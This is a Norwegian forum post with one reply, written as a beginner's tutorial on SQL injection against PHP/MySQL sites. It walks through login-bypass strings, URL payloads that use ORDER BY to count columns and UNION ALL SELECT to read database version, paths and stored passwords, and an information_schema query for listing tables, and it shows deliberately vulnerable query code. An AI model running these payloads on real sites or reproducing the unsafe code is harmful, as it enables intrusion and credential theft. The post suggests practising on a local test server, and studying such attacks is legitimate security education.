Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  1 3849
Sql injection er det mest utbredte sikkerhetsfeilen som fins på dagens nettsider. Og kan føre til at nettsiden din blir hacket.

Sql injection går ut på å injisere sql kommandoer for å manipulere sql queryier slik at hvilken som helst verdier kan hentes ut av databasen.

Ta f.eks. dette logginn scriptet:

Kode

$sql = "SELECT * FROM medlemmer WHERE username='$user' AND password='$pass' ";
$result = mysql_query($sql);
if(mysql_num_rows($result) != 0)
// loginn
Vanligvis putter man inn f.eks. brukernavn:"admin" og passord:"qwerty". Og dersom disse verdiene fins i databasen blir man logget inn.

Men hva om man istedenfor putter inn sql kommandoer? Jo da endres querien.
Se hva som skjer når du putter inn denne verdien på brukernavnet:

Kode

foobar' OR 1=1-- -

Da blir den komplette sql strengen:

Kode

SELECT * FROM medlemmer WHERE username='foobar' OR 1=1-- -' AND password='$pass' "
-- - er kommentar syntaks, slik at alt bak der blir som en kommentar. Man fjerner altså resten av spørringen. Dette gjelder mysql. Mener også å huske at /* også funker som en kommentar.

Koden sjekker om det fins en bruker som heter foobar, eller om 1 er lik 1. Og siden 1 alltid er lik 1, vil første oppføring i databasen hentes ut, og man vil bli logget inn som admin antakeligvis.

For at dette skal funke må magic_qoutes være av. Magic_quotes:
Magic Quotes is a process that automagically escapes incoming data to the PHP script. It's preferred to code with magic quotes off and to instead escape the data at runtime, as needed.
Vis hele sitatet...
I tillegg må utvikleren av scriptet ikke ha noen beskyttelsesmekanismer som fjerner enkel apostrof: '

Hvor ofte funker denne injiseringen?
Veldig sjeldent. Og mest hos gamle script fra tidlig 2000 tallet.

En annen versjon av login spørringen

Kode

$sql = "SELECT * FROM medlemmer WHERE username=$user AND password=$pass ";
Her ser du at input verdiene $user og $pass IKKE er omkranset av enkle apostrofer. Og dermed vil den enkle injiseringen:

Kode

heisann OR 1=1-- -
Føre til at man blir logget inn som admin.

Andre injiseringspunkter
De mest sårbare punktene fins i script som har slike urler:

index.php?id=3
index.php?category=mat
index.php?username=arne
index.php?cat=34

OSV.

Dersom du aldri har kodet opp mot en database vet du ikke hvilken koden som antakeligvis ligger bak dette. Men en god gjettning er noe slikt:

Kode

$sql = "SELECT * FROM users WHERE id='$id' ";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)
{
echo $row['username'];
}
Her hentes brukernavnet ut ved hjelp av id kolonnen i bruker tabellen. Denne kan utnyttes til å hente ut hvilken som helst data fra databasen. Dette inkluderer passord, emails, alt sammen.

Hvordan?
Sql språket har en kommando som heter for UNION.

SQL UNION combines two separate SQL queries into one result set
Vis hele sitatet...
Eks på UNION:

SELECT * FROM employees UNION ALL SELECT * FROM employees2;

Her hentes det ut oppføringer fra både tabellen employess og employees2.

For at UNION skal fungere må den andre tabellen employees2 ha like mange kolonner som employees2. Ta forrige kodeeksempel:

Kode

$sql = "SELECT username, ip, lastlogin FROM users WHERE id='$id' ";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)
{
echo $row['username'];
}
Denne henter ut 3 verdier: username, ip og lastlogin. For å få til en fungerende UNION må man derfor gjøre slik:

Kode

SELECT username, ip, lastlogin FROM users WHERE id='$id' UNION ALL SELECT verdi1, verdi2, verdi3 FROM annen_tabell
Denne annen tabell kan f.eks. være bruker tabellen!

Steg 1: Finne ut riktig syntaks
Først må du finne ut syntaksen. Det er mange eksempler:

SELECT id, user FROM users WHERE id='$id'
SELECT id, user FROM users WHERE id=$id
SELECT id, user FROM users WHERE id=($id)
SELECT id, user FROM users WHERE id=('$id')

OSV:

Gå til urlen: index.php?id=-1' OR 1=1-- -

Dersom denne henter ut admin info er det sansynligvis brukt en slik syntaks:

SELECT id, user FROM users WHERE id='$id'.

Dersom index.php?id=-1 or 1=1-- -

Er det sansynligvis brukt en slik syntaks:

SELECT id, user FROM users WHERE id=$id

Steg 2: Finne ut hvor mange kolonner som hentes ut

La oss si

SELECT id, user FROM users WHERE id=$id er riktig syntaks. For å finne ut hvor mange kolonner som hentes ut går du til følgende urler:

index.php?id=-1 or 1=1 ORDER BY 1-- -
index.php?id=-1 or 1=1 ORDER BY 2-- -
index.php?id=-1 or 1=1 ORDER BY 3-- -
index.php?id=-1 or 1=1 ORDER BY 4-- -
index.php?id=-1 or 1=1 ORDER BY 5-- -
index.php?id=-1 or 1=1 ORDER BY 6-- -

Du øker antallet helt til du treffer en mysql error. Eller du får en annen feilmelding som f.eks. "Fant ikke bruker". Dersom du traff error på ORDER BY 6, så er det 5 kolonner som hentes ut.

Grunnen til at dette fungerer er fordi ORDER BY 4 ordner resultatene etter den 4. raden. (er ikke sikker på dette).

Steg 3: Hent ut noen random verdier

La oss si spørringen henter ut 3 verdier. Gå så til følgende url:

index.php?id=-1 UNION ALL SELECT 1,2,3-- -

Dersom du får noen av disse tallene printet ut på skjermen har du en fungerende sql injeksjon, og du kan hente ut hva du vil fra databasen. Til å begynne med kan du teste ut noen av mysql innebygde "funksjoner" som f.eks.

index.php?id=-1 UNION ALL SELECT 1,user(),3-- -
index.php?id=-1 UNION ALL SELECT 1,version(),3-- -
index.php?id=-1 UNION ALL SELECT 1,@@datadir,3-- -
index.php?id=-1 UNION ALL SELECT 1,UNIX_TIMESTAMP(),3-- -

Steg 4: Finne ut navnet på noen tabeller( bruker tabellen f.eks.
Slik at du kan hente ut passord på denne måten:

index.php?id=-1 UNION ALL SELECT 1,password,3 from users-- -

Teksten begynner å bli greit lang. Tar dette til neste gang.

Noen sluttord
Last ned en webserver med php/mysql og prøv ut dette selv.

Ikke plag andre, vær snill og grei, forøvrig kan du gjøre hva du vil.
Bare skrevet og sikkert lettforståelig for de som ikke har prøvd dette før.

Antar du neste gang skriver om information_schema.x? Noe jeg mener er en utrolig viktig del av SQL Injections, og som forenkler det å finne de 'riktige' tabellene.

Eksempel på kode som bruker information_schema:

Kode

UNION ALL SELECT 1,2,table_name FROM information_schema.tables--
Denne kodesnutten henter ut alle tabeller som finnes i databasen.

Men nå skal jeg ikke kapre tråden din - antar du dekker dette neste gang
Sist endret av s1gh; 2. mars 2010 kl. 18:32.